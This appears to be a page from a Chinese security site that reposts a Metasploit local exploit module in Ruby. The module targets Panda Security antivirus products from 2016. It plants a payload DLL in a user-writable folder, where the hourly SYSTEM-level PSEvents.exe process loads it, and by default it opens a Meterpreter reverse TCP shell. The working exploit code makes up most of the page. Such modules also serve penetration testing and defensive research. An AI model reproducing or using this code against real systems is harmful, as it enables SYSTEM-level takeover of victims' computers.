首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Panda Security PSEvents Privilege Escalation
来源:metasploit.com 作者:h00die 发布时间:2016-10-25  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Exploit::EXE
  include Exploit::FileDropper
  include Post::File

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Panda Security PSEvents Privilege Escalation',
      'Description'   => %q{
        PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.
        When run, it checks a user writable folder for certain DLL files, and if any are found
        they are automatically run.
        Vulnerable Products:
        Panda Global Protection 2016 (<=16.1.2)
        Panda Antivirus Pro 2016 (<=16.1.2)
        Panda Small Busines Protetion (<=16.1.2)
        Panda Internet Security 2016 (<=16.1.2)
      },
      'License'       => MSF_LICENSE,
      'Author'        => [
          "h00die <mike@shorebreaksecurity.com>", # Module,
          'Security-Assessment.com' # discovery
        ],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ],
      'Targets'       => [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
      ],
      'DefaultTarget' => 0,
      'DefaultOptions' => {
        'payload' => 'windows/meterpreter/reverse_tcp',
        'exitfunc' => 'seh'
      },
      'References'    => [
        [
          'EDB', '40020',
          'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf',
          'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053'
        ]
      ],
      'DisclosureDate'=> 'Jun 27 2016'
    ))
    register_options(
      [
        OptEnum.new('DLL', [ true, 'dll to create', 'cryptnet.dll',
                             ['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll']]),
        OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 3610]),
      ], self.class)
  end

  def get_path()
    case sysinfo['OS']
    when /Windows (7|8|10|2012|2008)/
      return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
    when /Windows (NT|XP)/
      return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
    end
  end

  def check
    if directory?(get_path())
      print_good('Vuln path exists')
      CheckCode::Appears
    else
      vprint_error("#{get_path()} doesn't exist on target")
      CheckCode::Safe
    end
  end

  def exploit
    vprint_status("OS Detected as: #{sysinfo['OS']}")

    payload_filepath = get_path()
    payload_filepath = "#{payload_filepath}\\#{datastore['DLL']}"
    upload_payload_dll(payload_filepath)

    # start the hour wait
    stime = Time.now.to_f
    print_status 'Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)...'
    print_status "Start Time: #{Time.now.to_s}"
    until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
      Rex.sleep(1)
    end
  end

  def upload_payload_dll(payload_filepath)
    payload = generate_payload_dll()
    print_status('Uploading the Payload DLL to the filesystem...')
    begin
      vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
      write_file(payload_filepath, payload)
      register_file_for_cleanup(payload_filepath)
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")
    end
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WordPress Userpro Remote File
·Microsoft Windows x86 NDISTAPI
·Deluge 1.3.13 - Denial Of Serv
·Network Scanner 4.0.0 - SEH Lo
·TrendMicro InterScan Web Secur
·WSearch service (windows) - pe
·Oracle VM VirtualBox 4.3.28 -
·SmallFTPd 1.0.3 - 'mkd' Comman
·Linux Kernel 2.6.22 < 3.9 (x86
·Komfy Switch with Camera DKZ-2
·FreePBX 10.13.66 - Remote Comm
·GNU GTypist 2.9.5-2 - Local Bu
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved